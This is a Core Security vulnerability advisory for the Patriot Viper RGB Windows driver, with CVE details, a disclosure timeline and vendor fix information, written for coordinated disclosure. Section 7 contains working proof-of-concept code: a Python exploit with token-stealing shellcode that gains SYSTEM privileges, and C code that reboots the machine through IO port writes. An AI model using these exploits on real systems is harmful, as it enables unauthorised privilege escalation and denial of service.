Viper RGB Driver Multiple Vulnerabilities

1. Advisory Information

Title: Viper RGB Driver Multiple Vulnerabilities
Advisory ID: CORE-2020-0001
Advisory URLhttps://www.coresecurity.com/core-labs/advisories/viper-rgb-driver-multiple-vulnerabilities  
Date published: 2020-02-17
Date of last update: 2020-02-14
Vendors contacted: Patriot Memory
Release mode: Forced release

2. Vulnerability Information

Class: Stack-based Buffer Overflow [CWE-121]. Exposed IOCTL with Insufficient Access Control [CWE-782]
Impact: Code execution allow Privilege Escalation
Remotely Exploitable: No
Locally Exploitable: Yes
CVE NameCVE-2019-19452; CVE-2020-9756

3. Vulnerability Description

Patriot Memory is a technology company based in the United States that designs and manufactures memory modules, flash memory drives, mobile accessories, and gaming equipment.

A buffer overflow was found in the Viper driver RGB version 1.1 when processing IoControlCode 0x80102040. Local attackers (including low integrity processes) can exploit this vulnerability and consequently gain NT AUTHORITY\SYSTEM privileges.

The IOCTL Codes 0x80102050 and 0x80102054 allows a user with low privileges to read/write 1/2/4 bytes from or to an IO port. This could be leveraged in a number of ways to ultimately run code with elevated privileges.

4. Vulnerable Packages

Version 1.1 and all prior versions are vulnerable in every supported Windows version (Installer: Patriot Viper RGB v1.1.exe)

5. Vendor Information, Solutions, and Workarounds

Patriot Memory has released version MSIO_191231_v1.2, which fixes the reported issue.

6. Credits

These vulnerabilities were discovered and researched by Ricardo Narvaja and Lucas Dominikow from the Core Security Exploit Writing Team.

The publication of this advisory was coordinated by Bob Erdman from the CoreLabs Advisories Team.

7. Technical Description / Proof of Concept Code

7.1 Stack-based Buffer Overflow Privilege Escalation

Version 1.1 is not currently patched against the following exploit:

CVE-2019-19452

An exploit for a previous vulnerability for version 1.0 uncovered the existence of the stack overflow that was used to smash ZwOpenSection and ZwMapViewOfSection's arguments.

Binary diffing between versions 1.0 and 1.1 revealed that, despite adding checks to the arguments to these functions, the previous stack overflow continued without patching, and CoreLabs was subsequently able to control its size and source.

The previous advisory for version 1.0 can be found below:

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845


In version 1.1, the controller starts analyzing IoControlCodes and arrives at this location, comparing IoControlCode with 0x80102040.

 .text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL" .text:000000000000151F call    
DbgPrint .text:0000000000001524 mov     r11d, [rbp+18h] .text:0000000000001528 cmp     r11d, 80102040h 
.text:000000000000152F jz      loc_16D4

 

If the comparison is true, there is a call to memmove with MaxCount (size to copy) and SRC (source buffer) controlled by CoreLabs. No validation is done to ensure that the data fits on the destination buffer, resulting in a stack overflow.

 .text:00000000000016E8 lea     rcx, [rsp+78h+Src] ; Dst .text:00000000000016ED mov     
r8, rbx         ; MaxCount .text:00000000000016F0 mov     rdx, rsi        ; Src 
.text:00000000000016F3 call    memmove

Since the driver hasn’t protected the function's stack with a security cookie, the arbitrary code is successfully executed.

It is possible to reach this function by calling to CreateFileA to get a handle of the driver, then calling to DeviceIoControl by sending controlled data. The code execution targeting the x64 version of the driver will be demonstrated below, using a proof of concept exploit designed for Windows 7 SP1 x64. The code will need to be adapted for other Windows versions.

Effectively approaching the exploitation depends on the specifics of the targeted device and architecture. For example, in the case of Windows 10, there are SMEP/SMAP and other specific mitigations.

The proof of concept exploit seen below illustrates this process, reusing the connection socket to spawn a shell and execute arbitrary commands on the system.

#!/usr/bin/env python import struct, sys, os from ctypes import * from ctypes.wintypes import * 
import os import struct import sys from ctypes import wintypes GENERIC_READ = 0x80000000 
GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 FILE_SHARE_DELETE = 
0x00000004 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 CREATE_NEW = 1 CREATE_ALWAYS = 
2 OPEN_EXISTING = 3 OPEN_ALWAYS = 4 TRUNCATE_EXISTING = 5 HEAP_ZERO_MEMORY=0x00000008 MEM_COMMIT = 
0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 ntdll = windll.ntdll kernel32 
= windll.kernel32 ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), 
c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] kernel32.WriteProcessMemory.argtypes 
= [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)] GetProcAddress = kernel32
.GetProcAddress GetProcAddress.restype = c_ulonglong GetProcAddress.argtypes = [c_ulonglong, 
wintypes.LPCSTR] GetModuleHandleA = kernel32.GetModuleHandleA GetModuleHandleA.restype = wintypes.
HMODULE GetModuleHandleA.argtypes = [wintypes.LPCSTR] k32Dll=GetModuleHandleA("kernel32.dll") print 
"0x%X"%(k32Dll) if (not k32Dll) : print ("[-] Failed To get module handle kernel32.dll\n") WinExec=
GetProcAddress(k32Dll, "WinExec") print "0x%X"%(WinExec) if (not WinExec) : print ("[-] Failed To get 
WinExec address.dll\n") print "WinExec = 0x%x"%WinExec raw_input() buf = kernel32.VirtualAlloc(c_int(0x0),
c_int(0x824),c_int(0x3000),c_int(0x40)) shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42
\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48
\x8B\x81\x80\x00\x00\x00\x24\xF0\x49\x89\x80\x08\x02\x00\x00\x48\x31\xc0\x48\x81\xc4\x28\x01\x00\x00\xc3" 
#STARTS HERE written = c_ulonglong(0) dwReturn = c_ulong() hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ 
| GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) print "[+] buffer 
address: 0x%X" % buf data= "\xeb\x4e" + 0x46 * "A" + struct.pack("<Q",int(buf)) + shellcode print "%r"%data 
kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) bytes_returned = wintypes.DWORD(0) h=wintypes.HANDLE
(hDevice) b=wintypes.LPVOID(buf) #TRIGGER dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 
0,byref(dwReturn), None) os.system("calc.exe") kernel32.CloseHandle(hDevice)

After executing that code in python 64 bits, calc will be shown, with NT AUTHORITY\SYSTEM privileges.

 

7.2 Port mapped I/O access

Version 1.1 is not currently patched against the following exploit:

CVE-2020-9756

We can achieve a read to an IO Port using the IOCTL Code 0x80102050.

To specify which IO Port we want to read and the size of bytes to read, we must send a crafted buffer where the first two bytes are the IO port and the sixth the amount of bytes to read 1, 2 or 4.

Additionally, we can achieve a write to an IO Port using the IOCTL Code 0x80102054. Also, we must send a crafted buffer. This buffer is very similar to the read one. The main difference is that we also need to specify the data to be send to the IO Port. This data can be 1/2/4 bytes and it starts next to IO Port (3 byte onwards). In this case, the sixth byte will determine the amount of bytes to write.

With the ability to read/write to an IO Port we can achieve several negative outcomes. For example, the following PoC code will cause a denial of service condition by rebooting the machine.

#include  #include  #define IOCTL_READ_IOPORT 0x80102050 #define IOCTL_WRITE_IOPORT 0x80102054 HANDLE 
GetDriverHandle(LPCSTR driverName) { HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDriver == INVALID_HANDLE_VALUE) 
{ printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError()); exit(1); } return hDriver; } 
BYTE ReadPort(HANDLE hDriver, unsigned int port) { DWORD inBufferSize = 10; DWORD outBufferSize = 1; 
DWORD bytesReturned = 0; LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE); LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE); if (inBuffer == NULL) { printf("Failed to allocate inBuffer %d\n", 
GetLastError()); return 1; } if (outBuffer == NULL) { printf("Failed to allocate outBuffer %d\n", 
GetLastError()); return 1; } memcpy((char*)inBuffer, &port, 2); memset((char*)inBuffer + 6, 0x1, 1); 
BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, 
outBuffer, outBufferSize, &bytesReturned, 0); if (retDevIoControl == 0) { printf("Failed DeviceIoControl
\nError code:%d", GetLastError()); return 1; } return (BYTE)(*((char*)outBuffer)); } void WritePort
(HANDLE hDriver, unsigned int port, BYTE data) { DWORD inBufferSize = 10; DWORD outBufferSize = 1; 
DWORD bytesReturned = 0; LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE); LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE); if (inBuffer == NULL) { printf("Failed to allocate inBuffer %d\n", 
GetLastError()); exit(1); } if (outBuffer == NULL) { printf("Failed to allocate outBuffer %d\n", 
GetLastError()); exit(1); } memcpy((char*)inBuffer, &port, 2); memcpy((char*)inBuffer + 2, &data, 1); 
memset((char*)inBuffer + 6, 0x1, 1); BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, 
inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); if (retDevIoControl == 0) 
{ printf("Failed DeviceIoControl\nError code:%d", GetLastError()); exit(1); } } int main(int argc, 
char** argv) { LPCSTR driverName = (LPCSTR)"\\\\.\\Msio"; HANDLE hDriver = GetDriverHandle(driverName); 
BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6; WritePort(hDriver, 0xcf9, portCF9 | 2); Sleep(50); 
WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot CloseHandle(hDriver); return 0; } 

8. Report Timeline

06 Nov 2019 – CoreLabs made initial contact email with the vendor via [email protected] requesting preferred disclosure procedure.

26 Nov 2019 – Applied for CVE via MITRE website, received confirmation of application.

29 Nov 2019 – MITRE assigns CVE-2019-19452 to the first vulnerability.

05 Dec 2019 – Called Patriot Memory HQ (510-979-1021), forwarded to Technical Support via automated phone system, left message info and referenced email.

05 Dec 2019 – Received email from vendor requesting further information. Replied with very basic description and requested confirmation that this email chain was the company's preferred disclosure method before sending Proof of Concept (POC).

17 Dec 2019 – Received email from vendor Patriot R&D confirming method of submittal and naming himself as primary point of contact. Replied with Proof of Concept.

 01 Jan 2020 – Received email from vendor with proposed fix attached.

 08 Jan 2020 – Confirmed that patch is correct. Confirmed with vendor that the patch works and asked about when they will be publishing the patch.

 09 Jan 2020 – Vendor states that the patch should take two weeks at most to publish (23 Jan 2020).

16 Jan 2020 – Emailed vendor to confirm that everything is on schedule for the 23rd. State our intent to publish on the 24th.

16 Jan 2020 – Discover second vulnerability discovered that is not solved by patch. New POC sent to Patriot.

20 Jan 2020 – Receive email from vendor stating he believes the discovery of a second vulnerability could delay the release of the patch in question.

07 Feb 2020 – Tweet is published on Twitter by a third party containing the information on the Viper RGB vulnerabilities. CoreLabs validated the information in the tweet as correct, data is now in the open.

08 Feb 2020 – Requested a status on the CVE for the second vulnerability from MITRE.

08 Feb 2020 – Requested a status on the patch for the second vulnerability from Patriot and informed them that the information is now in the open on Twitter.

10 Feb 2020 – Patriot responds that there is not currently a patch for the second vulnerability.

12 Feb 2020 – Informed Patriot that with the information on the vulnerabilities going public, CoreLabs will plan to publish on 17 Feb 2020 unless further instructions are received by 14 Feb 2020.

17 Feb 2020  – Advisory CORE-2020-0001 published.

02 March 2020 - MITRE assigns CVE-2020-9756 to the second vulnerability.

9. References

[1] https://www.viper.patriotmemory.com/viperrgbdramsoftware.

10. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security.

12. Disclaimer

The contents of this advisory are copyright (c) 2020 Core Security and (c) 2020 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/